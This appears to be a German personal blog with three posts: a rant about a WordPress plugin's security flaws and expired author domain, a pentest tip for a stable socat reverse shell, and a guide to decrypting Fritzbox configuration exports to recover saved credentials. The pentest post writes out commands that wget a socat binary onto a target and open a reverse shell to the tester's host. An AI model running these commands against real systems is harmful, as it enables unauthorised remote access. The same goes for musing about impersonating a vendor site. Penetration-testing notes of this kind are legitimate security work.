Lonesome Walker

Es gibt Tage, die laufen nicht so optimal, und es gibt Tage da gerät man an Menschen die frei von der Leber einfach Quark ins WordPress-Repository kippen und dann noch stolz drauf sind.
Nennt sich dann Kodeo Admin UI.

Davon mal abgesehen, das man dort so verantwortungsvoll war, und als Author-URL kodeo.io genannt hat…
(Screener aus dem Source hier, nicht das sich das durch Geisterhand wieder ändert…)
Ist natürlich nicht mehr deren URL (sondern meine), aber ist natürlich klasse, könnte ich einfach deren Seite klonen, und wenn jemand aus dem Backend dann auf die URL klickt, zack, Identitätsdiebstahl perfekt. Und natürlich gäbe es ja dann auch die Möglichkeit mit dem Update-Mechanismus…

Aber darum geht es in diesem Falle gar nicht.
Wird besser.

Aus aktuellem Anlass muß ich leider Code auditieren, und das ist immer kostenintensiv weil kostet Zeit. MEINE Zeit.
Wenn man dann aber ein Plugin hat, bei dem einen schon in der zweiten Datei das Grausen kommt, dann auditiert man ungern weiter. Man weiß ja, kann nur besser werden (und wurde es dann auch).

Nun gut, präventiv auf wordpress.org einen entsprechenden Kommentar dagelassen. Zugegeben, nicht freundlich. Ich habe aber Wichtigeres zu tun als Stümpern in Kuschelsprache zu erklären wie grundlegend sie verkacken.

Die Antwort läßt nicht lange auf sich warten, und daher auch diese als Screenshot hier.

Tja, dann machen wir doch mal einen offiziellen CVE draus, zumindest für den einen so offensichtlichen Dreck den man da programmiert hat. Vielleicht auch gleich ein Exploit, dann ist auch der Update-Druck da… (hier noch das auditierte Plugin in der Version 1.1.9.2, zuletzt vor 2 Jahren aktualisiert)
Eigentlich sollte ich noch weiter reviewen, da die ja auch bei einem anderen WordPress-Plugin mit involviert waren.

Und dreimal darf man raten, ob diese Web-Bastler-Klitsche ein gültiges Impressum hat? Da könnten sich deren Mitbewerber schon gütlich tun…
(Screener)

EINMAL MIT PROFIS ARBEITEN…

Nachtrag 13.12.2022:

Macht natürlich keinen Unterschied, außer das es jetzt wohl keinen CVE gibt… aber mal sehen. Ist natürlich nicht so, das von dort keine anderen Meisterleistungen gekommen sind, respektive die nicht noch woanders mitentwickelt haben. Vielleicht auditiere ich dort dann mal in einer ruhigen Minute weiter… 😉
Schließlich soll das hier ja nicht leer bleiben…

Weil ich dummerweise gerade wieder Strg+C gedrückt habe und mir logischerweise die netcat Remote-Shell dadurch abgenippelt ist…

Entweder ist socat schon auf dem Pentest-Opfer installiert (was zu 0,00001% der Fall ist), oder einfach per wget das entsprechende Binary holen.

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat

Wobei das /tmp-Verzeichnis nicht zwingend beschreibbar sein muß…
Ein chmod +x /tmp/socat dann aber auch nicht vergessen!
(sind noch ein paar ganz andere hilfreiche Binaries zu finden: https://github.com/andrew-d/static-binaries )

Auf dem eigenen Rechner (pentestrechner) dann

socat file:`tty`,raw,echo=0 tcp-listen:12345

Port 12345 ist durch einen beliebigen Port zu ersetzen, Hauptsache er ist von außen zu erreichen… ggf. Firewall/Router das Portforwading einrichten

Und mittels:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:pentestrechner:12345
klappt es dann auch mit der Remote-Shell, die einem nicht einfach mit Ctrl+C wegstirbt 😛

Nachdem es ja keinen Routerzwang mehr gibt, darf ja jeder selbst ein Endgerät dranstöpseln.

Dumm nur, wenn man dann die DSL-Zugangsdaten oder den Login für den Sipgate-Account in der alten Fritzbox gespeichert hat, beim Import in die neue Box aber diese nicht zum Import angeboten werden… 🙁

Aber es gibt findige Bastler wie den Michael Engelke, die es einem sehr leicht machen…

Einfach dessen Tools runterladen, und wenn man schon PHP [CLI] auf dem System hat, kann man sich sogar das Installieren sparen.

Für Linux-Freunde sollte das selbsterklärend ablaufen, für die Windows-Fraktion gibt es wahlweise ebenfalls wieder ein Archiv zum Runterladen.
(und wenn man schon eine php.exe irgendwo im System hat, einfach die Tools in das gleiche Verzeichnis entpacken)

Einmal die Daten aus der Fritzbox exportieren, Kennwort für den Export bitte nicht vergessen!
Export-Datei auf einen etwas passableren Namen kürzen (wie z.B. config.export).

An manchen Fritzboxen benötigt man keinen Benutzernamen, da reicht dann auch nur das Kennwort. Läßt sich aber an der gleichen Stelle wie folgende Änderung umstellen.
Unter FRITZ!Box-Benutzer » Anmeldung im Heimnetz das „Ausführung bestimmter Einstellungen und Funktionen zusätzlich bestätigen“ deaktivieren.

Dann kann man auf der Kommandozeile ins entsprechende Verzeichnis wechseln, und mit:
fb_tools.bat {KennwortderFritzbox|oder|Benutzername:KennwortderFritzbox}@{IP-AdressederFritzbox} Konfig File-Decrypt {NamederExportdatei} {Exportkennwort}

Bei folgenden Demodaten würde das dann so aussehen:
IP-Adresse der Fritzbox: 192.168.178.1
Benutzername der Fritzbox: maxmustermann
Kennwort der Fritzbox: passwort
Exportdatei: config.export
Kennwort beim Export: 123456

fb_tools.bat maxmustermann:passwort@192.168.178.1 Konfig File-Decrypt config.export 123456